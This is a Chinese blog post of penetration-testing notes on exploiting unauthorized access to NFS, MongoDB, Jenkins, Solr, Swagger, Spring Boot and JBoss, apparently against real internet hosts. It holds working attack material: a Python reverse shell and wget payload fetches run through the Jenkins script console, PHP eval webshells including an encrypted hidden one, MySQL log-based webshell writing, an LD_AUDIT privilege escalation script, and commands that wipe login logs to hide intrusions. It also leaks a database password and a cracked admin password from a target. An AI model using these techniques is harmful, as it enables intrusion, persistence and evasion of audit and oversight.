实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。

[root@centos]# shred -f -u -z -v -n 8 1.txt 
shred: 1.txt: pass 1/9 (random)...
shred: 1.txt: pass 2/9 (ffffff)...
shred: 1.txt: pass 3/9 (aaaaaa)...
shred: 1.txt: pass 4/9 (random)...
shred: 1.txt: pass 5/9 (000000)...
shred: 1.txt: pass 6/9 (random)...
shred: 1.txt: pass 7/9 (555555)...
shred: 1.txt: pass 8/9 (random)...
shred: 1.txt: pass 9/9 (000000)...
shred: 1.txt: removing
shred: 1.txt: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 1.txt: removed

(2)dd命令
可用于安全地清除硬盘或者分区的内容。

dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数

(3)wipe
Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。

wipe filename

(4)Secure-Delete
Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。

srm filename
sfill filename
sswap /dev/sda1
smem

05、隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
实战

粗暴删除,特征明显易被发现,但操作简单。

命令 日志文件 功能
last /var/log/wtmp 所有成功登录/登出的历史记录
lastb /var/log/btmp 登录失败尝试
lastlog /var/log/lastlog 最近登录记录
# 替换ip
sed -i 's/223.72.62.161/62.90.93.240/g' secure

# 清除历史命令
history -c

# 清除登录系统成功的记录,也就是last命令看到的记录
echo "" > /var/log/wtmp

#清除登录系统失败的记录,也就是lastb命令看到的记录
echo  "" > /var/log/btmp 

#清除登录系统失败的记录,也就是lastlog命令看到的记录
echo  "" > /var/log/lastlog

NFS 未授权访问

NFS未授权访问漏洞 - 信息安全笔记 (gitbook.io)

NFS服务配置漏洞 - lktop - 博客园 (cnblogs.com)

漏洞介绍

NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。若运维人员未对文件访问进行控制,将导致本地文件可被任意读取。

fofa 语法

port="2049" && protocol="nfs"

漏洞验证

# 安装nfs客户端
apt install nfs-common 

# 查看nfs服务器上的共享目录
showmount -e x.x.x.x 

# 举例1
└─# showmount -e 195.24.67.66
Export list for 195.24.67.66:
/home/ftp_upload 109.95.210.7 # 只有该ip共享 

# 举例2
└─# showmount -e 195.24.67.66
Export list for 195.24.67.66:
/home/ftp_upload * # 任意ip共享 

/ *这表示将根目录下单全部文件都共享

# 挂载到本地
mount -t nfs x.x.x.x:/grdata /mnt 
# 卸载共享目录
umount /mnt/

渗透实战

连接1 指定ip段访问

└─# showmount -e 128.0.82.91 
Export list for 128.0.82.91:
/mnt/sdb/log/l_conntrack_log 10.10.50.64/26,192.168.51.10
                                                          
└─# mount -t nfs 128.0.82.91:/mnt/sdb/log/l_conntrack_log /tmp/nfs 
Created symlink /run/systemd/system/remote-fs.target.wants/rpc-statd.service → /lib/systemd/system/rpc-statd.service.
mount.nfs: access denied by server while mounting 128.0.82.91:/mnt/sdb/log/l_conntrack_log

连接2 限定ip访问

└─# showmount -e 195.24.67.66
Export list for 195.24.67.66:
/home/ftp_upload 109.95.210.7

连接3 任意ip访问

└─# showmount -e 54.36.127.174
Export list for 54.36.127.174:
/nfs *
       
mount -t nfs 54.36.127.174:/nfs /tmp/nfs 

# 卸载共享目录
umount /tmp/nfs 

Solr 未授权访问

漏洞简介

Solr是一个高性能,采用Java开发,基于Lucene的全文搜索服务器。Solr的管理界面通常包含如下信息:solr的配置信息(包括路径,用户名,系统版本信息),数据库的配置信息(地址,用户名,密码),数据库搜索数据等。solr未授权访问的危害很大,轻则可查询所有数据库信息,重则可读取系统任意文件,设置getshell.

fofa 语法

"/solr/admin"

漏洞利用

(2022年12月)Solr未授权访问导致getshell,任意代码执行_夏初春末_昊的博客-CSDN博客

Apache Solr漏洞总结-腾讯云开发者社区-腾讯云 (tencent.com)

mongodb未授权

漏洞危害

对外开放的MongoDB服务,未配置访问认证授权,无需认证连接数据库后对数据库进行任意操作(增、删、改、查高危动作),存在严重的数据泄露风险。

漏洞成因

MongoDB服务安装后,默认未开启权限验证。如果服务监听在0.0.0.0,则可远程无需授权访问数据库。

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。

3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;

3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。

MongoDB默认端口号:

27017:mongod和mongos实例的默认端口。

27018:设置--shardsvr运行变量或在配置文件里设置clusterRole为shardsvr时的默认端口

fofa 语法

port="27017"&&product="mongodb"&&asn="4538"
port="27017"&&body=" MongoDB"&&asn="4538"&&country="CN"

利用

mongo连接数据库

命令格式:mongo --host 目标ip --port 目标端口

查看用户、数据库信息等

创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号

#切换到admin库:

> use admin
> switched to db admin

#创建用户

> db.createUser(
> {
> user: "myUserAdmin",
> pwd: "Passw0rd",
> roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
> }
> )

#创建成功后提示信息:Successfully added user: {
    "user" : "myUserAdmin",
    "roles" : [
        {
            "role" : "userAdminAnyDatabase",
            "db" : "admin"
        }
    ]
}

漏洞修复

3.0之前版本的MongoDB,默认监听在0.0.0.0,3.0及之后版本默认监听在127.0.0.1。
3.0之前版本,如未添加用户管理员账号及数据库账号,使用--auth参数启动时,在本地通过127.0.0.1仍可无需账号密码登陆访问数据库,远程访问则提示需认证;
3.0及之后版本,使用--auth参数启动后,无账号则本地和远程均无任何数据库访问权限。
1.如MongoDB只需在本地使用,建议只在本地开启监听服务。

实战渗透

fali

mongo --host x.x.x.x --port 27017


#创建系统用户管理员创建一个用户名为myUserAdmin,密码为Passw0rd的系统用户管理员账号。

#切换到admin库:
> use admin
switched to db admin

#创建用户
> db.createUser(
  {
    user: "myUserAdmin",
    pwd: "Passw0rd",
    roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
  }
)

# uncaught exception: Error: couldn't add user: command createUser requires authentication :

# 错误是因为MongoDB开启了用户名和密码登录,但是你又没有登录就进行操作,就会报错。

success

└─# mongo --host x.x.x.x --port 27017 
> show users
> use admin
switched to db admin
> show users
> db.version()
3.6.8
> db.createUser(
...   {
...     user: "myUserAdmin",
...     pwd: "12345678",
...     roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
...   }
... )
Successfully added user: {
        "user" : "myUserAdmin",
        "roles" : [
                {
                        "role" : "userAdminAnyDatabase",
                        "db" : "admin"
                }
        ]
}

Jenkins 未授权访问

Jenkins的功能

Jenkins是一个基于Java开发的开源项目,可在Tomcat等流行的servlet容器中运行,也可以独立运行,其功能如下:

用于持续性、自动的构建/测试软件
项目监控或跑一些定时任务
监控外部调用执行的工作

Jenkins的漏洞简介及危害

默认情况下 Jenkins面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进入后台管理服务,通过脚本执行界面从而获取服务器权限。

Jenkins的漏洞成因

1、使用低版本的Jenkins,默认没有登录控制
2、有登录控制,但配置文件中设置了不启用安全性(/var/lib/jenkins/config.xml 设置为false)
3、控制台使用了弱密码
4、Jenkins系统后台中可以执行系统脚本命令

fofa 语法

app="Jenkins" && body="Jenkins"&&  title=="Dashboard [Jenkins]"
app="Jenkins" && body="Jenkins" && title=="Dashboard [Jenkins]" &&body=" 系统管理"
app="Jenkins" && body="Jenkins" && title=="Dashboard [Jenkins]" && body="Manage Jenkins"

利用技巧

wget 下载 back.py 反弹 shell

back.py

#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.241.128",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

Jenkins 未授权访问写 shell

jenskins 是 java web 项目,我们用 java 的 File 类写文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一个内容为1,2,3(每一行)的 1.txt 到 c 盘的 temp 文件夹,运行如下命令println “powershell dir c:\temp”.execute().text如果写成功,那么 secpulse.txt 就会在返回结果中!

wget写webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行

漏洞加固

1、禁止把Jenkins直接暴露在公网

2、添加认证,设置强密码复杂度及账号锁定。

渗透实践

实例1

http://X.X.X.X

当前权限

http://X.X.X.X:58080/script

println "whoami".execute().text

jenkins

端口扫描发现,存在web站点。可以写入shell。

mysql info

首先探测出如下信息:

println "cat /var/www/agnav/mainfile.php".execute().text

// Database Hostname
define('XOOPS_DB_HOST', 'X.X.X.X');
// Database Username
define('XOOPS_DB_USER', 'root');
// Database Password
define('XOOPS_DB_PASS', 'HmtlyY6V');
// Database Name
define('XOOPS_DB_NAME', 'agnav');
写 webshell 【无写权限,jenkins】
方式1:

new File("/var/www/agnav/dis.php").write('<?php @eval($_POST[s3cpu1se]);?>');

# error
java.io.FileNotFoundException: /var/www/agnav/dis.php (Permission denied)

不具备写权限

方式2:

def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/agnav/dis.php").write("$webshell");

由于shell 是低权限,需要进一步提权!

【这里可以直接尝试进行反弹shell,然后提权】,下面方式属于学习其他的渗透方式,实战中没有必要!

login admin

使用上面读取到的数据库账号密码:

// Database Hostname
define('XOOPS_DB_HOST', 'X.X.X.X');
// Database Username
define('XOOPS_DB_USER', 'root');
// Database Password
define('XOOPS_DB_PASS', 'HmtlyY6V');
// Database Name
define('XOOPS_DB_NAME', 'agnav');

连接数据库后,得到网站admin账号密码

admin md5:b147e5a0c61d1d20116c57dda47a220b==>polak20bla

admin/polak20bla

drygon md5:adba2e8b6bebf522e8c8924e5ea33069

drygon/
mysql 写shell-失败
不具备写权限

【其实没有写权限,就意味着无法进行shell,后面提到的解决方案算是相关解决思路】

select "<?php eval($_POST[pass])?>" into outfile '/var/www/html/back.php'

# > 1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

# 
show variables like ‘%secure%’;查看 secure-file-priv 当前的值是什么;
其中null代表不能导出,默认路径代表只能在这个路径导出。

require_secure_transport	OFF
secure_file_priv	NULL

# 没法执行
在 my.ini 或者 mysql.cnf 文件中注销 (使用 # 号) 包含 secure_file_priv 的行( SHOW VARIABLES LIKE "secure_file_priv" )。
开启全局日志写入shell

利用条件

1.root权限2.网站的绝对路径且具有写入权限

查看全局日志配置

show variables like '%general%';

general_log	OFF
general_log_file	/var/lib/mysql/2128afd56e54.log

开启全局配置

set global general_log = on;

将日志文件设置成服务器下的木马文件

set global general_log_file = '/var/www/html/back.php'

> 1231 - Variable 'general_log_file' can't be set to the value of '/var/www/html/back.php'

# 没有权限

然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中

select '<?php  @eval($_POST[1]);?>';
慢查询日志写入shell

在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:

1、NULL:表示不允许导入导出

2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/

3、空,即没有具体值:表示不对导入导出做限制

可使用如下命令来查看secure_file_priv的值:

show global variables like '%secure%';

在高版本的mysql中默认为NULL,就是不让导入和导出

解决办法:

在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=

在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

使用慢查询日志绕过此限制

利用条件:

1、root权限

2、网站的绝对路径且具有写入权限执行如下语句写入shell:

查看慢查询日志开启情况

show variables like '%slow_query_log%';

开启慢查询日志

set global slow_query_log=1;

修改日志文件存储的绝对路径

set global slow_query_log_file='/var/www/html/back.php';

# > 1231 - Variable 'slow_query_log_file' can't be set to the value of '/var/www/html/back.php'

向日志文件中写入shell select

'<?php @eval($_POST[1]);?>' or sleep(11);

使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:

show global variables like '%long_query_time%';
admin 账户利用-getshell

admin/polak20bla

进入系统发现文件上传点,上传一句话木马!

require('/var/www/agnav/lp/indextest.php');
eval($_POST[pass]);

蚁剑连接 成功

image

whoami 
apache # 权限不够,需要linux 提权
首先【隐藏马子】

http://X.X.X.X/agnav/mainfile.dist.php

<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDWSKMoEAa4ACBzBaMOjr2udua8
YJLX9O9JmUh54u4W5s+Qx9eoah/+jLIiqY9pwJ0WutnsO/86WkEEmDle/iZTDunU
Z4DPggTCKuD8vzWqzgdci52zfNqHnLoaNp3Uacn5PJsyidLdK5Ap3k0jipEQzk6c
PhV16GRgNMf/nlfMcwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
  if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
    $cmd .= $de;
  }
}
eval($cmd);
apache 低权限提权

提权学习之旅——Linux操作系统提权_lemonl1的博客-CSDN博客

(apache:/) $ uname -a
Linux dti-vps-srv908 2.6.32-042stab128.2 #1 SMP Thu Mar 22 10:58:36 MSK 2018 x86_64 x86_64 x86_64 GNU/Linux

(apache:/) $ sudo -V
Sudo version 1.8.6p3
Sudoers policy plugin version 1.8.6p3
Sudoers file grammar version 42
Sudoers I/O plugin version 1.8.6p3

Linux-exploit-suggester

Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
bash les.sh

# 在tmp 目录下可执行
# 发现很多漏洞

CVE-2016-5195

image

脏牛系列漏洞提权失败!!!

suid 提权

以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

现在已知的具有SUID权限的二进制可执行文件大体有如下这些

nmap
vim
find
bash
more
less
nano
cp
awk

ping // 也有利用成功的,这里没成功

注,由于脚本是利用/bin/ping漏洞实现提权,如果没有就无法实现。

vi 2.sh

unset LD_AUDIT
rm -r -f /tmp/exploit
mkdir /tmp/exploit
ln /bin/ping /tmp/exploit/target
exec 3< /tmp/exploit/target
ls -l /proc/$$/fd/3
rm -rf /tmp/exploit
ls -l /proc/$$/fd/3
cat > program.c << _EOF
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit program.c
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
unset LD_AUDIT

chmod 777 2.sh
./2.sh

计划任务提权

系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出

ls -l /etc/cron*

默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。

实例2

http://X.X.X.X:8080/script

docker 容器中
println "whoami".execute().text

# root

# 其他命令 有问题

快捷判断为docker 容器办法:

println "fdisk -l".execute().text

# 为空,判断为docker 容器环境

println "cat /proc/1/cgroup".execute().text

12:cpu,cpuacct:/docker/26c6beba32c87e5e40d5b20bd5d77d5b5b1fae2cbe71bd8daf79b4fd3b77ff07
11:devices:/docker/26c6beba32c87e5e40d5b20bd5d77d5b5b1fae

println "ls -al /".execute().text

total 84
drwxr-xr-x   1 root root 4096 Aug  6  2019 .
drwxr-xr-x   1 root root 4096 Aug  6  2019 ..
-rwxr-xr-x   1 root root    0 Aug  6  2019 .dockerenv  ##
drwxr-xr-x   1 root root 4096 Jun  7  2019 bin
drwxr-xr-x   2 root root 4096 Feb  3  2019 boot
drwxr-xr-x   5 root root  340 Aug 14 16:08 dev
lrwxrwxrwx   1 root root   33 Mar  5  2019 docker-java-home -> /usr/lib/jvm/java-8-openjdk-amd64
Docker逃逸方法

拿到webshell后,发现自己是在docker容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。

浅析docker的多种逃逸方法-腾讯云开发者社区-腾讯云 (tencent.com)

宸极实验室—『杂项』Docker 逃逸方法汇总 - 知乎 (zhihu.com)

这里没利用成功,说一下思路!

实例3

https://X.X.X.X:8443/manage/script

println "cat /proc/1/cgroup".execute().text

11:hugetlb:/
10:pids:/
9:cpu,cpuacct:/
8:devices:/
7:perf_event:/
6:freezer:/
5:cpuset:/
4:blkio:/
3:memory:/
2:net_cls,net_prio:/
1:name=systemd:/

println "whoami".execute().text

jenkins

知道是真机 jenkins权限

http://X.X.X.X:8080/manage/script

println "cat /proc/1/cgroup".execute().text;


println "ifconfig".execute().text;

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet X.X.X.X  netmask 255.255.192.0  broadcast X.X.X.X
        inet6 fe80::3ced:36ff:fed6:a0ad  prefixlen 64  scopeid 0x20<link>
        ether 3e:ed:36:d6:a0:ad  txqueuelen 1000  (Ethernet)
        RX packets 298400  bytes 218677016 (218.6 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 281412  bytes 78578675 (78.5 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


println "whoami".execute().text;
jenkins

http://X.X.X.X:9090/manage/script

存在 挂载Docker Socket逃逸

宸极实验室—『杂项』Docker 逃逸方法汇总 - 知乎 (zhihu.com)

println "find / -name docker.sock  ".execute().text;

# /run/docker.sock

println "docker -H unix://var/run/docker.sock images ".execute().text;

可以打穿!!!

小技巧

查找网站根目录

println "find / -name index.html 2>/dev/null ".execute().text;

Swagger未授权访问漏洞

Swagger未授权访问漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

简介

Swagger是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。相关的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。

Swagger-UI会根据开发人员在代码中的设置来自动生成API说明文档,若存在相关的配置缺陷,攻击者可以未授权翻查Swagger接口文档,得到系统功能API接口的详细参数,再构造参数发包,通过回显获取系统大量的敏感信息。

漏洞验证

Swagger 未授权访问地址存在以下默认路径:

/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs

springboot未授权访问漏洞

介绍

Actuator 是 Spring Boot 提供的服务监控和管理中间件。当 Spring Boot 应用程序运行时,它会自动将多个端点注册到路由进程中。而由于对这些端点的错误配置,就有可能导致一些系统信息泄露、XXE、甚至是 RCE 等安全问题。

端点描述

路径 描述
/autoconfig 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans 描述应用程序上下文里全部的Bean,以及它们的关系
/env 获取全部环境属性
/configprops 描述配置属性(包含默认值)如何注入Bean
/dump 获取线程活动的快照
/health 报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info 获取应用程序的定制信息,这些信息由info打头的属性提供
/mappings 描述全部的URI路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown 关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace 提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

fofa 语法

app="springboot"

jboss未授权访问利用

简介

JBOSS是一个基于J2EE的开放源代码应用服务器,也是一个管理EJB的容器和服务器,默认使用8080端口监听。

    JBOSS未授权访问漏洞表现为,在默认情况下无需账密就可以直接访问 http://127.0.0.1:8080/jmx-console 进入管理控制台,进而导致网站信息泄露、服务器被上传shell(如反弹shell,wget写webshell文件),最终网站被攻陷。

fofa 语法

"Welcome to JBoss"

利用

JBOSS未授权漏洞详细复现_jboss 未授权访问漏洞_涂寐的博客-CSDN博客

Jboss未授权访问漏洞复现 - rnss - 博客园 (cnblogs.com)

posted @ 2023-08-28 18:01  Only-xiaoxiao  阅读(3831)  评论(0编辑  收藏  举报